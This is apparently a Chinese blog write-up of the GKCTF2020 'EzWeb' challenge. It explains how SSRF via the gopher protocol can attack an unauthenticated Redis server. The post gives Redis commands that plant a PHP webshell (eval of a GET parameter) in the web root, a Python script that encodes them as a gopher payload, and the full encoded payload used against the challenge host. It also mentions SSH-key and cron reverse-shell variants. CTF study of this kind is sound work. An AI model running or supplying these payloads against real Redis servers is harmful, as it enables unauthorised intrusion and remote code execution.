0%

Redis 配合 gopher 协议进行 ssrf

Gopher 协议是HTTP协议出现之前,在Internet上最常用的一个协议,不过现在已经很少用了。
常利用 Gopher 协议,攻击内网的 redis等,也可以发送GET、POST请求,这无疑是极大的扩展了ssrf的攻击面。

利用条件

 能够未授权或者通过弱口令认证访问到redis服务器。其实就是可以访问到redis服务器,端口为 6379

绝对路径写webshell

 redis 常见的ssrf攻击方式大概有3中:

  1. 绝对路径写webshell
  2. 写ssh公钥
  3. 写contrab计划任务反弹shell 但是,我这里就只记录 绝对路径写webshell了其它的可去 【这里看】

构造payload

需要构造redis命令如下:

1
2
3
4
5
flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

这边有一个网上的python3脚本,转化为redis RESP协议的格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import urllib
from urllib.parse import urlparse

protocol = "gopher://"
ip = "173.235.173.10" ### 运行有redis的主机ip
port = "6379" ### redis 端口,固定的
shell = "\n\n<?php system('cat /flag');?>\n\n"
filename = "mayi.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd


if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)

生成的payload,我们需要让它执行一遍,就是访问它一下,可以 curl 。访问后我们的shell就会被写入redis服务器内。

[GKCTF2020]EZ三剑客-EzWeb

一、打开题目,我们可以提交个url,我尝试提交 127.0.0.1 ,回显 别这样 应该是被 ban 了。

二、查看源码提示 ?secret 那就传一个过去,回显了一个 ifconfig 命令得到的结果。我们着重看到inet addr:173.171.12.9 我们利用ssrf去访问下 173.171.12.9 ,得到了如下:

三、我们发现 C段的 10 有正确回显,如图:

四、需要我们爆破端口,这边我们就跑到了6379端口,它是redis服务的端口。这就利用到了,我们主题所说的组合拳。

解题步骤

  1. 利用前面提的python脚本构造写shell的payload如下:
    1
    gopher://173.171.12.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%248%0D%0Amayi.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
  2. 我们直接发过去,达到写shell的目的,注意此时shell的内容是:
    1
    <?php system('cat /flag');?>
    shell名也在脚本中定义。
  3. 我们参试访问shell,得到flag:
    1
    paylaod: 173.171.12.10/mayi.php

-------------本文结束感谢您的阅读-------------